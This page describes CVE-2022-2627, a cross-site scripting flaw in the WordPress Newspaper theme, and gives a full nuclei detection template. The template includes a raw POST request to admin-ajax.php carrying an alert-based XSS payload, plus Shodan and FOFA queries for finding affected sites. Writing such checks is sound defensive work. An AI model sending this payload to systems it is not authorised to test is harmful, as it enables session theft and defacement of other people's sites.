WordPress Newspaper < 12 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.3%likelihood of exploitation, next 30 days

71%of all CVEs are less likely

Readycheck to confirm it

WordPress Newspaper theme before 12 is susceptible to cross-site scripting. The does not sanitize a parameter before outputting it back in an HTML attribute via an AJAX action. An attacker can potentially execute malware, obtain sensitive information, modify data, and/or execute unauthorized operations without entering necessary credentials.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.

Fix

Fixed in version 12

How to confirm it

Send: POST /wp-admin/admin-ajax.php?td_theme_name=Newspaper&v=11.2
Positive when: contains "<form><math><img onerror=alert(document.domain) src=1><mtex…" and "td-block-" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-2627 -u <target>

The full check

id: CVE-2022-2627

info:
  name: WordPress Newspaper < 12 - Cross-Site Scripting
  author: ramondunker,c4sper0
  severity: medium
  description: |
    WordPress Newspaper theme before 12 is susceptible to cross-site scripting. The does not sanitize a parameter before outputting it back in an HTML attribute via an AJAX action. An attacker can potentially execute malware, obtain sensitive information, modify data, and/or execute unauthorized operations without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: Fixed in version 12
  reference:
    - https://wpscan.com/vulnerability/038327d0-568f-4011-9b7e-3da39e8b6aea
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2627
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-2627
    cwe-id: CWE-79
    epss-score: 0.01328
    epss-percentile: 0.71242
    cpe: cpe:2.3:a:tagdiv:newspaper:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: tagdiv
    product: newspaper
    framework: wordpress
    shodan-query: http.html:/wp-content/themes/newspaper
    fofa-query: body=/wp-content/themes/newspaper
    publicwww-query:
      - "/wp-content/themes/Newspaper"
      - /wp-content/themes/newspaper
  tags: cve2022,cve,xss,wordpress,wp,wp-theme,newspaper,wpscan,tagdiv,vuln

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php?td_theme_name=Newspaper&v=11.2 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=td_ajax_loop&loopState[moduleId]={{xss_payload}}&loopState[server_reply_html_data]=

    payloads:
      xss_payload:
        - "--><form><math><img+onerror=alert(document.domain)+src=1><mtext></form>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - <form><math><img onerror=alert(document.domain) src=1><mtext>
          - td-block-
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from